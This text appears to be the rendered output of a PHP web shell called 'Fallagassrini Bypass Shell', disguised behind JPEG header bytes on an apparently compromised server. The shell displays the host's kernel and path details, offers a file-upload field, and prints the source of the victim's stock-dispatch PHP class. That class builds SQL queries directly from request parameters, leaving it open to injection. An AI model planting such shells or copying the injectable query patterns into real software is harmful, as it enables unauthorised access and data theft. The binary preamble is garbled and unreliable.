JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/easwari/www/admin/includes/classes/

Linux 141.162.178.68.host.secureserver.net 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Upload File :
Current File : /home/easwari/www/admin/includes/classes/class.Outward.php

<?php
#####Class For Adding Content Management ######
class Outward extends MysqlFns{
 
 /* class constructor */
function Outward(){
 $this->LDDisplayPath= $config['SiteGlobalPath']."class.Outward.php";
  global $config;
  global $objSmarty;
  $this->MysqlFns();
  $this->Limit = 50;

$f2 = "stockmat_name.txt";
			$uploadpath = $config['QuotePath'];
			//chmod($uploadpath.$f1,"777");
			$myfile = fopen($f2, "w") or die("Unable to open file!");
			$SelQuery2	= 'SELECT DISTINCT material_code FROM `arka_stock_master` WHERE record_status="1"';
			$MatList	= $this->ExecuteQuery($SelQuery2, 'select');
			//print_r($CusList);exit;
			if(!empty($MatList) && is_array($MatList))
			foreach($MatList as $key=>$value)
			{
			$MatList[$key]['MName'] = stripslashes($MatList[$key]['material_code']);
			$names = $names.$MatList[$key]['MName'].",";
			}
			fwrite($myfile, $names);
			fclose($myfile);

   $SelQuerys	= 'SELECT max(outward_entry_no) as last FROM `arka_outward_master` Limit 0,1';
   $OutwardDetail	= $this->ExecuteQuery($SelQuerys, 'select');
   
   if($OutwardDetail[0]['last']!="")
   {
			$OutwardDetail[0]['outward_entry_no'] = stripslashes($OutwardDetail[0]['last']);
			$in_id1 = preg_replace("/[^0-9\.]/", '', $OutwardDetail[0]['outward_entry_no']);
			$in_id1= $in_id1 + 1;
			$str = str_split($OutwardDetail[0]['last'], 3);
			$in_id = $str[0]. "" .$in_id1;
   } else
   {
   		   $in_id = "IN10001";
   }
	$objSmarty->assign('in_id', $in_id);
		 
	//******************************************************************customer Name***********************************************************************************
	/*$f1 = "customer_name.txt";
	$uploadpath = $config['QuotePath'];
	//chmod($uploadpath.$f1,"777");
	$myfile = fopen($f1, "w") or die("Unable to open file!");
	$SelQuery1	= 'SELECT DISTINCT customer_name FROM `arka_cus_reg_master` WHERE status="1"';
   	$CusList	= $this->ExecuteQuery($SelQuery1, 'select');
	if(!empty($CusList) && is_array($CusList))
			foreach($CusList as $key=>$value)
			{
				$CusList[$key]['CName'] = stripslashes($CusList[$key]['customer_name']);
				$names = $names.$CusList[$key]['CName'].",";
			}
	fwrite($myfile, $names);
	fclose($myfile);*/
}
//**********************************************************************************************************************************************************************


function InsertOutwardContent($objArray='')
 { 
 
   global $objSmarty, $_POST;
    
   if(!$objArray['selectRegion']){
    $objSmarty->assign('ErrorMessage', 'Select Region should not be blank');
	return false;
   }elseif(!$objArray['tinNo']){
    $objSmarty->assign('ErrorMessage', 'Tin Number should not be blank');
	return false;
   }elseif(!$objArray['stNO']){
    $objSmarty->assign('ErrorMessage', 'St Number should not be blank');
	return false;
   }elseif(!$objArray['cstNo']){
    $objSmarty->assign('ErrorMessage', 'Cst Number should not be blank');
	return false;
   }elseif(!$objArray['outwardEntryNo']){
    $objSmarty->assign('ErrorMessage', 'Outward Entry Number should not be blank');
	return false;
   }elseif(!$objArray['dateofEntry']){
    $objSmarty->assign('ErrorMessage', 'Date of Entry should not be blank');
	return false;
   }elseif(!$objArray['dcNo']){
    $objSmarty->assign('ErrorMessage', 'Dc Number should not be blank');
	return false;
   }elseif(!$objArray['dcDate']){
    $objSmarty->assign('ErrorMessage', 'Dc Date should not be blank');
	return false;
   }elseif(!$objArray['toName']){
    $objSmarty->assign('ErrorMessage', 'To Name should not be blank');
	return false;
   }elseif(!$objArray['purpose']){
    $objSmarty->assign('ErrorMessage', 'Purpose should not be blank');
	return false;
   }elseif(!$objArray['toAddress']){
    $objSmarty->assign('ErrorMessage', 'To Address should not be blank');
	return false;
   }elseif(!$objArray['vehicleNo']){
    $objSmarty->assign('ErrorMessage', 'Vehicle Number should not be blank');
	return false;
   }elseif(!$objArray['materialName']){
    $objSmarty->assign('ErrorMessage', 'Material Name should not be blank');
	return false;
   }elseif(!$objArray['materialCode']){
    $objSmarty->assign('ErrorMessage', 'Material Code should not be blank');
	return false;
   }/*elseif(!$objArray['materialType']){
    $objSmarty->assign('ErrorMessage', 'Material Type should not be blank');
	return false;
   }elseif(!$objArray['materialCategory']){
    $objSmarty->assign('ErrorMessage', 'Material Category should not be blank');
	return false;
   }*/elseif(!$objArray['quantity']){
    $objSmarty->assign('ErrorMessage', 'Quantity should not be blank');
	return false;
   }elseif(!$objArray['availableQuantity']){
    $objSmarty->assign('ErrorMessage', 'Available Quantity should not be blank');
	return false;
   }elseif(!$objArray['materialPrice']){
    $objSmarty->assign('ErrorMessage', 'Material Price should not be blank');
	return false;
   }
   
   if($objArray['outwardEntryNo']){
    $InsQuery = 'INSERT IGNORE INTO `arka_outward_master`(`outward_entry_no`, `dc_no`, `to_name`, `to_address`, `date_of_entry`, `dc_date`, `purpose`, `vehicle_no`, `select_region`, `sites`, `tin_no`,`cst_no`,`st_no`,`record_status`) VALUES("'.trim(addslashes($objArray['outwardEntryNo'])).'","'.trim(addslashes($objArray['dcNo'])).'","'.trim(addslashes($objArray['toName'])).'","'.trim(addslashes($objArray['toAddress'])).'","'.trim(addslashes($objArray['dateofEntry'])).'","'.trim(addslashes($objArray['dcDate'])).'","'.trim(addslashes($objArray['purpose'])).'","'.trim(addslashes($objArray['vehicleNo'])).'","'.trim(addslashes($objArray['selectRegion'])).'","'.trim(addslashes($objArray['sites'])).'","'.trim(addslashes($objArray['tinNo'])).'","'.trim(addslashes($objArray['cstNo'])).'","'.trim(addslashes($objArray['stNo'])).'","1")';
  	 $this->ExecuteQuery($InsQuery, 'insert');
	 header('Location:' .$_SERVER['PHP_SELF'].'?server_response=success&outward_entry_no='.$objArray['outward_entry_no'].'&window_action=true');	
		
	}
	
	} 
	
/*********************************************************************************************************/	
 function Delete($deleid,$sno){
  global $objSmarty,$config;
   $tbl = $config['DBPrefix'];
 $DelQuery = 'UPDATE `arka_outward_details` set `record_status` = 0 WHERE `outward_entry_no`="'.$_GET['outward_entry_no'].'" AND sl_no="'.$_GET['sl_no'].'"';
 $this->ExecuteQuery($DelQuery, 'delete');
   header('Location:' .$_SERVER['PHP_SELF'].'?outward_entry_no='.$_GET['outward_entry_no'].'&server_success1=delete succeed');
 }
 
//*************************************************************************************************************************************************
function ChkDupliCust($mobile,$email,$customer_name){
  global $objSmarty;
  if(!empty($mobile) || !empty($email) || !empty($customer_name) )
 // $WhereClause	= ' AND `id` != '.$Ident;
 	if ($email != "1@1.com" && $customer_name !="R")
		{
 	  $SelQuery2		= 'SELECT * FROM `arka_cus_reg_master` WHERE (`status` != "0") AND (`mobile` = "'.$mobile.'" OR `email` = "'.$email.'" OR `customer_name` = "'.$customer_name.'") Limit 0,1';
  $CusDetail		= $this->ExecuteQuery($SelQuery2, 'select');
  		if((!empty($CusDetail)) && is_array($CusDetail))
  			 return false;
		else
	   return true;
	 	}
		elseif($email == "1@1.com" && $customer_name !="R")
		{
		$SelQuery2		= 'SELECT * FROM `arka_cus_reg_master` WHERE (`status` != "0") AND (`mobile` = "'.$mobile.'" OR  `customer_name` = "'.$customer_name.'" ) Limit 0,1';
  		$CusDetail		= $this->ExecuteQuery($SelQuery2, 'select');
  		if((!empty($CusDetail)) && is_array($CusDetail))
  			 return false;
		else
	   return true;
		
		}
		elseif($email != "1@1.com" && $customer_name =="R")
		{
		$SelQuery2		= 'SELECT * FROM `arka_cus_reg_master` WHERE (`status` != "0") AND (`mobile` = "'.$mobile.'" OR  `email` = "'.$email.'" ) Limit 0,1';
  		$CusDetail		= $this->ExecuteQuery($SelQuery2, 'select');
  		if((!empty($CusDetail)) && is_array($CusDetail))
  			 return false;
		else
	   return true;
		
		}elseif($email == "1@1.com" && $customer_name =="R")
		{
		$SelQuery2		= 'SELECT * FROM `arka_cus_reg_master` WHERE (`status` != "0") AND (`mobile` = "'.$mobile.'" ) Limit 0,1';
  		$CusDetail		= $this->ExecuteQuery($SelQuery2, 'select');
  		if((!empty($CusDetail)) && is_array($CusDetail))
  			 return false;
		else
	   return true;
		
		}
		
 }
  /************************************************************************ Edit the Customer Details*******************************************/
 function EditOutward($objArray='') {
   global $objSmarty, $_POST;
    
    if(!$objArray['outwardEntryNo']){
    $objSmarty->assign('ErrorMessage', 'Outward Entry Number should not be blank');
	return false;
   }elseif(!$objArray['dateofEntry']){
    $objSmarty->assign('ErrorMessage', 'Date of Entry should not be blank');
	return false;
   }elseif(!$objArray['dcNo']){
    $objSmarty->assign('ErrorMessage', 'DC Number should not be blank');
	return false;
   }elseif(!$objArray['dcDate']){
    $objSmarty->assign('ErrorMessage', 'DC Date should not be blank');
	return false;
   }elseif(!$objArray['toName']){
    $objSmarty->assign('ErrorMessage', 'To Name should not be blank');
	return false;
   }elseif(!$objArray['purpose']){
    $objSmarty->assign('ErrorMessage', 'Purpose should not be blank');
	return false;
   }elseif(!$objArray['toAddress']){
    $objSmarty->assign('ErrorMessage', 'To Address should not be blank');
	return false;
   }elseif(!$objArray['vehicleNo']){
    $objSmarty->assign('ErrorMessage', 'Vehicle Number should not be blank');
	return false;
   }elseif(!$objArray['material_name']){
    $objSmarty->assign('ErrorMessage', 'Material Name should not be blank');
	return false;
   }elseif(!$objArray['mat_code']){
    $objSmarty->assign('ErrorMessage', 'Material Code should not be blank');
	return false;
   }/*elseif(!$objArray['material_type']){
    $objSmarty->assign('ErrorMessage', 'Material Type should not be blank');
	return false;
   }elseif(!$objArray['material_category']){
    $objSmarty->assign('ErrorMessage', 'Material Category should not be blank');
	return false;
   }*/elseif(!$objArray['quantity']){
    $objSmarty->assign('ErrorMessage', 'Quantity should not be blank');
	return false;
   }elseif(!$objArray['availableQuantity']){
    $objSmarty->assign('ErrorMessage', 'Available Quantity should not be blank');
	return false;
   }elseif(!$objArray['materialPrice']){
    $objSmarty->assign('ErrorMessage', 'Material Price should not be blank');
	return false;
   }/*elseif(!$objArray['warrantyPeriod']){
    $objSmarty->assign('ErrorMessage', 'Warranty Period should not be blank');
	return false;
   }*/
  if($objArray['outwardEntryNo']){
   $UpQuery1 = 'UPDATE `arka_outward_master` SET `outward_entry_no` ="'.trim($objArray['outwardEntryNo']).'",`dc_no` = "'.trim($objArray['dcNo']).'", `to_name` = "'.trim($objArray['toName']).'", `to_address` = "'.trim($objArray['toAddress']).'",`date_of_entry` = "'.trim($objArray['dateofEntry']).'",`dc_date` = "'.trim($objArray['dcDate']).'",`purpose` = "'.trim($objArray['purpose']).'", `vehicle_no` = "'.trim($objArray['vehicleNo']).'", `select_region` = "'.trim($objArray['selectRegion']).'", `sites` = "'.trim($objArray['sites']).'", `tin_no` = "'.trim($objArray['tinNo']).'", `cst_no` = "'.trim($objArray['cstNo']).'", `st_no` = "'.trim($objArray['stNo']).'" WHERE `outward_entry_no` = "'.trim($objArray['outwardEntryNo']).'"';
	$this->ExecuteQuery($UpQuery1, 'update');
	
 $InsQuery2 = 'INSERT INTO `arka_outward_details`(`outward_entry_no`,`material_type`, `material_name`, `material_category`,`material_code`,`material_price`,`quantity`,`remarks`,`record_status`,`region`) VALUES("'.trim(addslashes($objArray['outwardEntryNo'])).'","'.trim(addslashes($objArray['material_type'])).'","'.trim(addslashes($objArray['material_name'])).'","'.trim(addslashes($objArray['material_category'])).'","'.trim(addslashes($objArray['mat_code'])).'","'.trim(addslashes($objArray['materialPrice'])).'","'.trim(addslashes($objArray['quantity'])).'","'.trim(addslashes($objArray['remarks'])).'",1,"'.$_SESSION['Region'].'")';
  	 $this->ExecuteQuery($InsQuery2, 'insert');	
	 	       
}
 $SelQuery_on_stock	= 'SELECT * FROM `arka_stock_master` WHERE   `material_name` ="'.trim(addslashes($objArray['material_name'])).'" && `material_code` ="'.trim(addslashes($objArray['mat_code'])).'"&& `location` ="'.trim(addslashes($objArray['location'])).'"';
	  $RList		= $this->ExecuteQuery($SelQuery_on_stock, "select");
 
	  if(!empty($RList) && is_array($RList))
	  {
	  $update_quantity=$RList[0]['quantity']-$objArray['quantity'];
	  $update_total=$update_quantity*$RList[0]['unit_price'];
 $update_query='UPDATE `arka_stock_master` SET `quantity` ="'.trim(addslashes($update_quantity)).'",`total`="'.trim(addslashes($update_total)).'" WHERE `material_type` ="'.$RList[0]['material_type'].'" && `material_category` ="'.$RList[0]['material_category'].'" && `material_name` ="'.$RList[0]['material_name'].'" && `material_code` ="'.$RList[0]['material_code'].'" && `location` ="'.$RList[0]['location'].'" && `unit_price` ="'.$RList[0]['unit_price'].'"';
$this->ExecuteQuery($update_query,"update");
} 
	 header('Location:' .$_SERVER['PHP_SELF'].'?outward_entry_no='.$objArray['outwardEntryNo'].'&server_success=update succeed');	

   }
   // **********************************************************************************************************************************************
function GetOutwardList($objArray='')  {
		global $objSmarty;
		$SelQuery = 'SELECT * FROM `arka_outward_master` WHERE record_status="1" ';
		$PageList		= $this->ExecuteQuery($SelQuery, "select");
        $objSmarty->assign('PageList', $PageList);
	}	
	
function GetOutwardDetail($objArray='')  {
		global $objSmarty;
		$SelQuery = 'SELECT * FROM `arka_outward_master` WHERE outward_entry_no="'.$_GET['outward_entry_no'].'" ' ;
		$PageList		= $this->ExecuteQuery($SelQuery, "select");
        $objSmarty->assign('PageList', $PageList);
	}	
	
function DeleteID($id){
  global $objSmarty;
  $DelQuery = 'update `arka_outward_master` set `record_status` = 0 WHERE `outward_entry_no`="'.$_GET['outward_entry_no'].'" '; 
  $this->ExecuteQuery($DelQuery, 'delete');
  $objSmarty->assign('SuccessMessage1', 'Deleted Successfully');
 
 }
 /*******************************************************************************************Login User Roles list *********************************************/
  function RolesLists(){
	global $objSmarty;
	 $SelQuery1	= 'SELECT * FROM arka_group_mapping WHERE `group_name` = "'.$_SESSION['USER_GROUP'].'" AND `record_status` <> 0 ORDER BY sl_no';
	  $RList		= $this->ExecuteQuery($SelQuery1, "select");
		
  if(!empty($RList) && is_array($RList))
   foreach($RList as $key=>$value){
    $RList[$key]['role_id'] = stripslashes($RList[$key]['role_id']);
	$RList[$key]['role_name'] = stripslashes($RList[$key]['role_name']);
	$objSmarty->assign('RList', $RList);
  return $RList;
		} 
	}
/*function list_outward_details($objArray='')  {
		global $objSmarty;
		$SelQuery = 'SELECT * FROM `arka_outward_details` WHERE outward_entry_no="'.$_GET['outward_entry_no'].'" ' ;
		$outward_details_list		= $this->ExecuteQuery($SelQuery, "select");
        $objSmarty->assign('outward_details_list', $outward_details_list);
	}*/	
function list_outward_details()
 { 
 global $objSmarty;
 
$select_query='SELECT * FROM `arka_outward_details` WHERE outward_entry_no = "'.$_REQUEST['outward_entry_no'].'" AND `record_status`=1';

 $execute_query		= $this->ExecuteQuery($select_query, "select");
 $objSmarty->assign('outward_details_list',$execute_query);
 
 $row_count=count($execute_query);
 if(!$row_count==00)
 $objSmarty->assign('hide_criteria','fgj');
 else
 $objSmarty->assign('hide_criteria','');
 
 }
 function lista_outward_details()
 { 
 global $objSmarty;
 
 $select_query='SELECT * FROM `arka_outward_details` WHERE outward_entry_no = "'.$_REQUEST['outward_entry_no'].'" AND `record_status`=1';
 $execute_query		= $this->ExecuteQuery($select_query, "select");
 $objSmarty->assign('outward_details_list',$execute_query);
 
 $row_count=count($execute_query);
 if(!$row_count==00)
 $objSmarty->assign('hide_criteria','fgj');
 else
 $objSmarty->assign('hide_criteria','');
 
 }
	function deleteOutward($delData){
	 global $objSmarty;
 
    $DelQuery = 'update `arka_outward_master` set `record_status`=0 WHERE `outward_entry_no` ="'.$delData.'"';
	$this->ExecuteQuery($DelQuery, 'delete');
	return true;
  }
  //*********************************************************delete
  /*function DeleteCus($CusIdent){
  global $objSmarty;
  foreach ( $CusIdent as $ConId ){
   if($ConId){
    $DelQuery = 'DELETE FROM `arka_cus_reg_master` WHERE `customer_id` ='.$ConId;
	$this->ExecuteQuery($DelQuery, 'delete');
   }
  }
  $objSmarty->assign('Keyword', $this->Keyword);
  $objSmarty->assign('Operator', $this->Operator);
  $objSmarty->assign('Offset', $this->Offset);
  $objSmarty->assign('PerPage', $this->PerPage);
  return true;
 }
  function DeleteID($deleid){
  global $objSmarty;
  $DelQuery = 'UPDATE `arka_cus_reg_master` set status ="0" WHERE `customer_id`="'.$_REQUEST['deleid'].'"';
 // echo($DelQuery);
  $this->ExecuteQuery($DelQuery, 'delete');
  /* $InsQuery4 = 'INSERT INTO `prime_deleted_records`(`deleted_data`, `deleted_table`, `deleted_by`) VALUES("'.$_REQUEST['deleid'].'","prime_site_reg_master","'.$_SESSION['UserName'].'")';
	 $this->ExecuteQuery($InsQuery4, 'insert');
  $objSmarty->assign('SuccessMessage', 'Deleted Successfully');
  //$this->GetSiteLists();
 }*/
 }
?>



bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net